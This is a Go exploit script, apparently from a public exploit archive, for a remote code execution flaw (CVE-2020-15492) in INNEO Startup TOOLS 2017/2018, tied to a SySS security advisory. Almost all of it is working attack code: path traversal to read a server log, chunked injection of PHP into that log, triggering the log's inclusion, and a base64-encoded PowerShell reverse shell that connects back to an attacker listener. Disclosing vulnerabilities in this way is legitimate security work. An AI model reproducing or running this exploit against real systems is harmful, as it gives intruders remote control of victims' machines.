1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 |
# Exploit Title: INNEO Startup TOOLS 2018 M040 13.0.70.3804 - Remote Code Execution # Date: 2020-07-23 # Exploit Author: Patrick Hener, SySS GmbH # Many credits go to Dr. Benjamin Heß, SySS GmbH for helping with php oddities and the powershell payload # Advisory: SYSS-2020-028 (https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2020-028.txt) # Vendor Homepage: https://www.inneo.co.uk/en/home.html # Version: Startup TOOLS 2017/2018 # Tested on: Windows 10 x64 # CVE : CVE-2020-15492 /* This exploit was written by Patrick Hener, SySS GmbH */ package main import ( "encoding/base64" "fmt" _ "fmt" "io" "io/ioutil" "log" "net" "net/http" "net/url" "os" "regexp" "strconv" "strings" "golang.org/x/text/encoding/unicode" ) type progress struct { bytes uint64 } func usage() { fmt.Printf("Usage: %s lhost[192.168.x.x] lport[4444] url[http://ip:85] installDir[PROGRA~2/stools] \n\n", os.Args[0]) os.Exit(2) } func readFile(target string, traversal string, path string) (bool, string) { success := true request := fmt.Sprintf("%s%s%s", target, traversal, path) resp, err := http.Get(request) if err != nil { fmt.Println(err) } if resp.Status != "200 OK" { success = false } defer resp.Body.Close() body, err := ioutil.ReadAll(resp.Body) if err != nil { fmt.Println(err) } return success, string(body) } func triggerFile(target string, traversal string, path string) { request := fmt.Sprintf("%s%s%s", target, traversal, path) _, _ = http.Get(request) } func poison(target string, traversal string, path string) (bool, string) { success := true request := fmt.Sprintf("%s%s%s", target, traversal, path) resp, err := http.Get(request) if err != nil { fmt.Println(err) os.Exit(2) } if resp.Status != "404 Not Found" { success = false } defer resp.Body.Close() fmt.Printf("[*] Poisoned: %s\n", path) body, err := ioutil.ReadAll(resp.Body) if err != nil { fmt.Println(err) } return success, string(body) } func parseHostname(body string) string { re := regexp.MustCompile("Service hostname:?.*") hostnameRaw := re.FindAllString(body, -1) hostnameSplit := strings.Split(hostnameRaw[0], ":") hostnameTrimmed := strings.TrimSpace(hostnameSplit[1]) hostnameNoNewline := strings.Replace(hostnameTrimmed, "\n", "", -1) return hostnameNoNewline } func customEscape(sequence string) string { output := url.PathEscape(sequence) output = strings.Replace(output, "+", "%20", -1) output = strings.Replace(output, "=", "%3D", -1) return output } func payloadEscape(sequence string) string { output := url.PathEscape(sequence) output = strings.Replace(output, "=", "%3D", -1) return output } func transferStreams(con net.Conn) { c := make(chan progress) // Read from Reader and write to Writer until EOF copy := func(r io.ReadCloser, w io.WriteCloser) { defer func() { r.Close() w.Close() }() n, err := io.Copy(w, r) if err != nil { fmt.Printf("[%s]: ERROR: %s\n", con.RemoteAddr(), err) } c <- progress{bytes: uint64(n)} } go copy(con, os.Stdout) go copy(os.Stdin, con) p := <-c fmt.Printf("[*] [%s]: Connection has been closed by remote peer, %d bytes has been received\n", con.RemoteAddr(), p.bytes) p = <-c fmt.Printf("[*] [%s]: Local peer has been stopped, %d bytes has been sent\n", con.RemoteAddr(), p.bytes) } func startServer(addr string) { ln, err := net.Listen("tcp", addr) if err != nil { log.Fatalln(err) } fmt.Printf("[+] Now listening on %s\n", addr) con, err := ln.Accept() if err != nil { log.Fatalln(err) } fmt.Printf("[+] [%s]: Connection has been opened. Press 'RETURN' once to start. Enjoy your shell, good sir.\n", con.RemoteAddr()) transferStreams(con) } func stage1(target string, traversal string, installDir string) string { fmt.Printf("[*] Attacking target %s with assumed install path %s\n", target, installDir) fmt.Printf("[*] Trying to read 'sut_server.log' to receive hostname of target at %s%s%s/software/LOG/sut_server.log\n", target, traversal, installDir) path := fmt.Sprintf("%s/software/LOG/sut_server.log", installDir) success, response := readFile(target, traversal, path) if !success { fmt.Printf("[-] It looks like %s%s%s is not there. Provide install_dir to try via args.\n", target, traversal, installDir) os.Exit(2) } hostname := parseHostname(response) return hostname } func stage2(target string, traversal string, installDir string, payloadFinal string) { /* Stage 2 - poison log with php payload Special about that is the length of payload junk has max restriction of about 200 characters Thus we are splitting up the payload escaping the trash we don't need like the 'n' is nesessary to escape DRIVE:\ which will be DRIVE:\n then <?php $cmd=''; $foo= ' n'; $cmd.="part1"; $foo=' n'; $cmd.="part2"; $foo=' .... n'; system(cmd); ?> */ fmt.Println("[*] Poisoning Log with payload") /* Start of the php code */ start := customEscape("<?php $cmd=''; $foo='") success, _ := poison(target, traversal, start) if !success { fmt.Println("Poisoning failed. Exiting") os.Exit(2) } /* Looping through payload */ offset := 0 pre := "n'; $cmd.='" post := "'; $foo='" for offset < len(payloadFinal) { payload := payloadFinal[offset : offset+150-len(pre)-len(post)] poisonPath := payloadEscape(fmt.Sprintf("%s%s%s", pre, payload, post)) success, _ = poison(target, traversal, poisonPath) if !success { fmt.Println("Poisoning failed. Exiting") os.Exit(2) } offset += 150 - len(pre) - len(post) if len(payloadFinal)-offset <= 150-len(pre)-len(post) { break } } /* Send last slice of payload to prevent from out of range error */ payload := payloadFinal[offset:len(payloadFinal)] poisonPath := payloadEscape(fmt.Sprintf("%s%s%s", pre, payload, post)) success, _ = poison(target, traversal, poisonPath) if !success { fmt.Println("Poisoning failed. Exiting") os.Exit(2) } /* End of the php code */ end := customEscape("n'; system($cmd); die; ?>") success, _ = poison(target, traversal, end) if !success { fmt.Println("Poisoning failed. Exiting") os.Exit(2) } } func stage3(target string, traversal string, installDir string, hostname string) { logFile := fmt.Sprintf("%s%s%s/software/LOG/sut_server_%s.log\\0.php", target, traversal, installDir, hostname) fmt.Printf("[*] Triggering inclusion of %s\n", logFile) triggerFile(target, traversal, logFile) } func stage4(lhost string, lport int) { /* Listen for socket connection */ addr := fmt.Sprintf("%s:%d", lhost, lport) fmt.Printf("[*] Starting reverse listener at %s\n", addr) startServer(addr) } func main() { if len(os.Args) < 4 { usage() } lhost := os.Args[1] lport, err := strconv.Atoi(os.Args[2]) if err != nil { fmt.Println("lport has to be numeric") os.Exit(2) } target := os.Args[3] var installDir string if len(os.Args) == 4 { installDir = "PROGRA~2/stools" } else { installDir = os.Args[4] } /* Payload definition */ payload := fmt.Sprintf("$client = New-Object System.Net.Sockets.TCPClient('%s',%d);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2= $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()", lhost, lport) /* Convert to base64 UTF-16LE */ encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder() payloadEncoded, _ := encoder.String(payload) payloadEncodedString := base64.StdEncoding.EncodeToString([]byte(payloadEncoded)) /* In webshell we would issue: powershell.exe -exec bypass -EncodedCommand <encoded_payload> */ payloadFinal := fmt.Sprintf("powershell.exe -exec bypass -EncodedCommand %s", payloadEncodedString) /* Traversal to root - default depth would be 4 */ traversal := "/../../../../../../../../../../" /* stage 1- get hostname */ hostname := stage1(target, traversal, installDir) fmt.Printf("[+] Hostname of target is: %s\n", hostname) /* stage 2 - poisoning */ stage2(target, traversal, installDir, payloadFinal) /* stage 3 - trigger */ go stage3(target, traversal, installDir, hostname) /* stage4 - start listener */ stage4(lhost, lport) } |